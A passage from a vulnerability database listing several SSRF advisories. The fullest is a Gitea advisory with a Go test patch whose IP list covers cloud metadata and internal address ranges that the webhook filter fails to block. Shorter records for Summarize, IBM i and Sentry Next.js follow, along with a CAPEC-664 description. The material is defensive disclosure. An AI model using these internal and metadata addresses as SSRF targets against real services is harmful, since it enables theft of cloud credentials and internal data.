[`services/migrations/migrate.go#L522`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/services/migrations/migrate.go#L522).\n\nThe SSRF is **not blind**. Webhook delivery captures the response status, headers, and up to 1 MiB of body ([`services/webhook/deliver.go#L259-L270`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/services/webhook/deliver.go#L259-L270)) and renders them in the webhook history UI ([`templates/repo/settings/webhook/history.tmpl#L75-L85`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/templates/repo/settings/webhook/history.tmpl#L75-L85)), so attackers can read everything the targeted internal service returns.\n\n## Impact\n\nAn authenticated user who can create or modify a webhook can:\n\n- Reach cloud metadata endpoints (AWS IMDS via NAT64 `64:ff9b::a9fe:a9fe`, Azure WireServer `168.63.129.16`)\n- Probe and exfiltrate from internal services on CGNAT (`100.64.0.0/10`) or non-RFC1918 172.x ranges\n- Read full HTTP response bodies through the webhook history UI\n\nThe same default is applied to repository migrations, broadening the attack surface to users who can trigger a migration.\n\n## Proof of Concept\n\nThe attached patch ([`gitea_ssrf_test.patch`](#patch)) adds [`TestSSRFBypassRanges`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/modules/hostmatcher/hostmatcher_test.go) to the existing test file. It uses [Go subtests](https://go.dev/blog/subtests) so each vulnerable range is its own named failing test case.\n\nRun with:\n```\ngo test -v ./modules/hostmatcher -run TestSSRFBypassRanges\n```\n\nExpected result on `4c37f4dacbac022f7beca75272439331f0368830`:\n- **8 PASS** \u2014 RFC 1918, IPv6 private ranges, and legitimate public IPs (control cases)\n- **10 FAIL** \u2014 Each failing subtest is a documented SSRF bypass\n\nSample failure output:\n```\n--- FAIL: TestSSRFBypassRanges/CGNAT_100.64.0.0/10_(RFC_6598)\n Error: Not equal: expected: false, actual: true\n Messages: ip=100.64.0.1\n--- FAIL: TestSSRFBypassRanges/Azure_WireServer_168.63.129.16\n Error: Not equal: expected: false, actual: true\n Messages: ip=168.63.129.16\n--- FAIL: TestSSRFBypassRanges/IPv6_NAT64_embedded_AWS_IMDS_169.254.169.254\n Error: Not equal: expected: false, actual: true\n Messages: ip=64:ff9b::a9fe:a9fe\n```\n\n## Suggested Remediation\n\nI\u0027d suggest treating the design of [`MatchBuiltinExternal`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/modules/hostmatcher/hostmatcher.go#L96-L114) as the bug \u2014 `IsPrivate()` is too narrow a definition of \"internal.\" A comprehensive deny-list approach is what\u0027s needed here. For reference, CC-Tweaked\u0027s [`AddressPredicate.PrivatePattern`](https://github.com/cc-tweaked/CC-Tweaked/blob/3e7ce15ba6d5ab030092850f7e49829b64ba3555/projects/core/src/main/java/dan200/computercraft/core/apis/http/options/AddressPredicate.java#L116-L169) is a good reference list, blocking each of the ranges named in the table above plus a few others (multicast, broadcast, TEST-NET, etc.).\n\nThe exact remediation is at your discretion. \n\n## References\n\n- Vulnerable function: [`modules/hostmatcher/hostmatcher.go#L96-L114`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/modules/hostmatcher/hostmatcher.go#L96-L114)\n- Default for webhooks: [`services/webhook/deliver.go#L312-L316`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/services/webhook/deliver.go#L312-L316)\n- Default for migrations: [`services/migrations/migrate.go#L522`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/services/migrations/migrate.go#L522)\n- Response captured: [`services/webhook/deliver.go#L259-L270`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/services/webhook/deliver.go#L259-L270)\n- Response rendered: [`templates/repo/settings/webhook/history.tmpl#L75-L85`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/templates/repo/settings/webhook/history.tmpl#L75-L85)\n- Go stdlib `net.IP.IsPrivate()`: \u003chttps://pkg.go.dev/net#IP.IsPrivate\u003e\n- CC-Tweaked reference deny-list: [`AddressPredicate.java#L116-L169`](https://github.com/cc-tweaked/CC-Tweaked/blob/3e7ce15ba6d5ab030092850f7e49829b64ba3555/projects/core/src/main/java/dan200/computercraft/core/apis/http/options/AddressPredicate.java#L116-L169)\n- Go subtests pattern: \u003chttps://go.dev/blog/subtests\u003e\n- RFC 6598 (CGNAT), RFC 6052 (NAT64), RFC 4380 (Teredo), RFC 3056 (6to4), RFC 3849 (documentation)\n\n---\n\n## Patch \u003ca name=\"patch\"\u003e\u003c/a\u003e\n\nProposed `gitea_ssrf_test.patch`:\n\n```diff\ndiff --git a/modules/hostmatcher/hostmatcher_test.go b/modules/hostmatcher/hostmatcher_test.go\nindex c781847..0b39e60 100644\n--- a/modules/hostmatcher/hostmatcher_test.go\n+++ b/modules/hostmatcher/hostmatcher_test.go\n@@ -159,3 +159,56 @@ func TestHostOrIPMatchesList(t *testing.T) {\n \t}\n \ttest(cases)\n }\n+\n+// TestSSRFBypassRanges verifies that the \"external\" filter (the default used by\n+// webhook delivery and repository migrations) blocks dangerous IP ranges.\n+//\n+// Each subtest\u0027s `allowed` field is the expected return value of MatchHostOrIP:\n+// - false: the IP should be blocked (rejected by the filter)\n+// - true: the IP should be allowed (a legitimate public destination)\n+//\n+// Subtests that FAIL are documented SSRF bypasses: IP ranges that should be\n+// blocked but are incorrectly allowed because the underlying check relies on\n+// net.IP.IsPrivate(), which only covers RFC 1918 and RFC 4193.\n+func TestSSRFBypassRanges(t *testing.T) {\n+\ttype tc struct {\n+\t\tip net.IP\n+\t\tallowed bool\n+\t}\n+\n+\thl := ParseHostMatchList(\"\", \"external\")\n+\n+\tcases := map[string]tc{\n+\t\t// RFC 1918 / IPv6 private ranges - correctly blocked\n+\t\t\"RFC1918 10.0.0.0/8\": {net.ParseIP(\"10.0.0.1\"), false},\n+\t\t\"RFC1918 172.16.0.0/12\": {net.ParseIP(\"172.16.0.1\"), false},\n+\t\t\"RFC1918 192.168.0.0/16\": {net.ParseIP(\"192.168.1.1\"), false},\n+\t\t\"IPv6 loopback ::1\": {net.ParseIP(\"::1\"), false},\n+\t\t\"IPv6 link-local fe80::/10\": {net.ParseIP(\"fe80::1\"), false},\n+\t\t\"IPv6 ULA fd00::/8\": {net.ParseIP(\"fd00::1\"), false},\n+\n+\t\t// Legitimate public IPs - correctly allowed\n+\t\t\"Public IPv4 (Google DNS)\": {net.ParseIP(\"8.8.8.8\"), true},\n+\t\t\"Public IPv6 (Google DNS)\": {net.ParseIP(\"2001:4860:4860::8888\"), true},\n+\n+\t\t// SSRF bypasses - the assertions below intentionally describe the\n+\t\t// expected secure behavior (allowed=false). Each failing subtest is\n+\t\t// a documented bypass.\n+\t\t\"CGNAT 100.64.0.0/10 (RFC 6598)\": {net.ParseIP(\"100.64.0.1\"), false},\n+\t\t\"CGNAT 100.127.255.254 (RFC 6598)\": {net.ParseIP(\"100.127.255.254\"), false},\n+\t\t\"Azure WireServer 168.63.129.16\": {net.ParseIP(\"168.63.129.16\"), false},\n+\t\t\"Non-RFC1918 172.32.0.0/11\": {net.ParseIP(\"172.32.0.1\"), false},\n+\t\t\"Non-RFC1918 172.45.0.0/16\": {net.ParseIP(\"172.45.0.1\"), false},\n+\t\t\"IPv6 NAT64 64:ff9b::/96 (RFC 6052)\": {net.ParseIP(\"64:ff9b::1\"), false},\n+\t\t\"IPv6 NAT64 embedded AWS IMDS 169.254.169.254\": {net.ParseIP(\"64:ff9b::a9fe:a9fe\"), false},\n+\t\t\"IPv6 Teredo 2001::/32 (RFC 4380)\": {net.ParseIP(\"2001::1\"), false},\n+\t\t\"IPv6 6to4 2002::/16 (RFC 3056)\": {net.ParseIP(\"2002::1\"), false},\n+\t\t\"IPv6 documentation 2001:db8::/32 (RFC 3849)\": {net.ParseIP(\"2001:db8::1\"), false},\n+\t}\n+\n+\tfor name, c := range cases {\n+\t\tt.Run(name, func(t *testing.T) {\n+\t\t\tassert.Equalf(t, c.allowed, hl.MatchHostOrIP(\"\", c.ip), \"ip=%v\", c.ip)\n+\t\t})\n+\t}\n+}\n```\n\n## Credit\n\nThis vulnerability was uncovered by @JLLeitschuh of the @braze-inc security team.",
"id": "GHSA-2r5c-gw76-rh3w",
"modified": "2026-07-21T20:27:17Z",
"published": "2026-07-21T20:27:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-2r5c-gw76-rh3w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22874"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38059"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38173"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Incomplete SSRF Protection in Webhook and Migration Allow-list Default Filter"
}
GHSA-2R69-QGV3-HR65
Vulnerability from github – Published: 2026-05-18 21:31 – Updated: 2026-05-29 20:00Summarize prior to 0.15.0 contains a vulnerability in the hover summary feature that allows malicious pages to dispatch synthetic mouseover events over attacker-controlled links, causing the extension to make authenticated daemon requests using stored tokens without verifying event trustworthiness. Attackers can place local or private-network URLs behind hoverable links to route authenticated requests through the daemon, potentially accessing sensitive internal endpoints when users interact with attacker-controlled content.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@steipete/summarize"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45245"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T20:00:00Z",
"nvd_published_at": "2026-05-18T20:16:38Z",
"severity": "MODERATE"
},
"details": "Summarize prior to 0.15.0 contains a vulnerability in the hover summary feature that allows malicious pages to dispatch synthetic mouseover events over attacker-controlled links, causing the extension to make authenticated daemon requests using stored tokens without verifying event trustworthiness. Attackers can place local or private-network URLs behind hoverable links to route authenticated requests through the daemon, potentially accessing sensitive internal endpoints when users interact with attacker-controlled content.",
"id": "GHSA-2r69-qgv3-hr65",
"modified": "2026-05-29T20:00:00Z",
"published": "2026-05-18T21:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45245"
},
{
"type": "WEB",
"url": "https://github.com/steipete/summarize/pull/218"
},
{
"type": "WEB",
"url": "https://github.com/steipete/summarize/commit/ecbb2c414255aa480a15d0d8b205224c14cfdbcb"
},
{
"type": "PACKAGE",
"url": "https://github.com/steipete/summarize"
},
{
"type": "WEB",
"url": "https://github.com/steipete/summarize/releases/tag/v0.15.1"
},
{
"type": "WEB",
"url": "https://github.com/steipete/summarize/releases/tag/v0.15.2"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/summarize-unauthorized-daemon-request-via-untrusted-events"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Summarize\u0027s hover summary feature allows malicious pages to dispatch synthetic mouseover events over attacker-controlled links"
}
GHSA-2R73-V75C-63J8
Vulnerability from github – Published: 2024-12-21 15:30 – Updated: 2025-11-04 00:32IBM i 7.3, 7.4, and 7.5
is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
{
"affected": [],
"aliases": [
"CVE-2024-51463"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-21T14:15:21Z",
"severity": "MODERATE"
},
"details": "IBM i 7.3, 7.4, and 7.5 \n\nis vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
"id": "GHSA-2r73-v75c-63j8",
"modified": "2025-11-04T00:32:15Z",
"published": "2024-12-21T15:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51463"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7179509"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Dec/19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2RMR-XW8M-22Q9
Vulnerability from github – Published: 2023-11-09 22:03 – Updated: 2023-11-17 21:55Impact
An unsanitized input of Next.js SDK tunnel endpoint allows sending HTTP requests to arbitrary URLs and reflecting the response back to the user. This could open door for other attack vectors: * client-side vulnerabilities: XSS/CSRF in the context of the trusted domain; * interaction with internal network; * read cloud metadata endpoints (AWS, Azure, Google Cloud, etc.); * local/remote port scan.
This issue only affects users who have Next.js SDK tunneling feature enabled.
Patches
The problem has been fixed in sentry/nextjs@7.77.0
Workarounds
Disable tunneling by removing the tunnelRoute option from Sentry Next.js SDK config — next.config.js or next.config.mjs.
References
Credits
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@sentry/nextjs"
},
"ranges": [
{
"events": [
{
"introduced": "7.26.0"
},
{
"fixed": "7.77.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46729"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-09T22:03:44Z",
"nvd_published_at": "2023-11-10T01:15:07Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn unsanitized input of Next.js SDK tunnel endpoint allows sending HTTP requests to arbitrary URLs and reflecting the response back to the user. This could open door for other attack vectors:\n* client-side vulnerabilities: XSS/CSRF in the context of the trusted domain;\n* interaction with internal network;\n* read cloud metadata endpoints (AWS, Azure, Google Cloud, etc.);\n* local/remote port scan.\n\nThis issue only affects users who have [Next.js SDK tunneling feature](https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/#configure-tunneling-to-avoid-ad-blockers) enabled.\n\n### Patches\nThe problem has been fixed in [sentry/nextjs@7.77.0](https://www.npmjs.com/package/@sentry/nextjs/v/7.77.0)\n\n### Workarounds\nDisable tunneling by removing the `tunnelRoute` option from Sentry Next.js SDK config \u2014 `next.config.js` or `next.config.mjs`.\n\n### References\n* [Sentry Next.js tunneling feature](https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/#configure-tunneling-to-avoid-ad-blockers)\n* [The fix](https://github.com/getsentry/sentry-javascript/pull/9415)\n* [More Information](https://blog.sentry.io/next-js-sdk-security-advisory-cve-2023-46729/)\n\n### Credits\n* [Praveen Kumar](https://hackerone.com/mr_x_strange)",
"id": "GHSA-2rmr-xw8m-22q9",
"modified": "2023-11-17T21:55:44Z",
"published": "2023-11-09T22:03:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry-javascript/security/advisories/GHSA-2rmr-xw8m-22q9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46729"
},
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry-javascript/pull/9415"
},
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry-javascript/commit/ddbda3c02c35aba8c5235e0cf07fc5bf656f81be"
},
{
"type": "WEB",
"url": "https://blog.sentry.io/next-js-sdk-security-advisory-cve-2023-46729"
},
{
"type": "WEB",
"url": "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/#configure-tunneling-to-avoid-ad-blockers"
},
{
"type": "PACKAGE",
"url": "https://github.com/getsentry/sentry-javascript"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/@sentry/nextjs/v/7.77.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Sentry Next.js vulnerable to SSRF via Next.js SDK tunnel endpoint"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.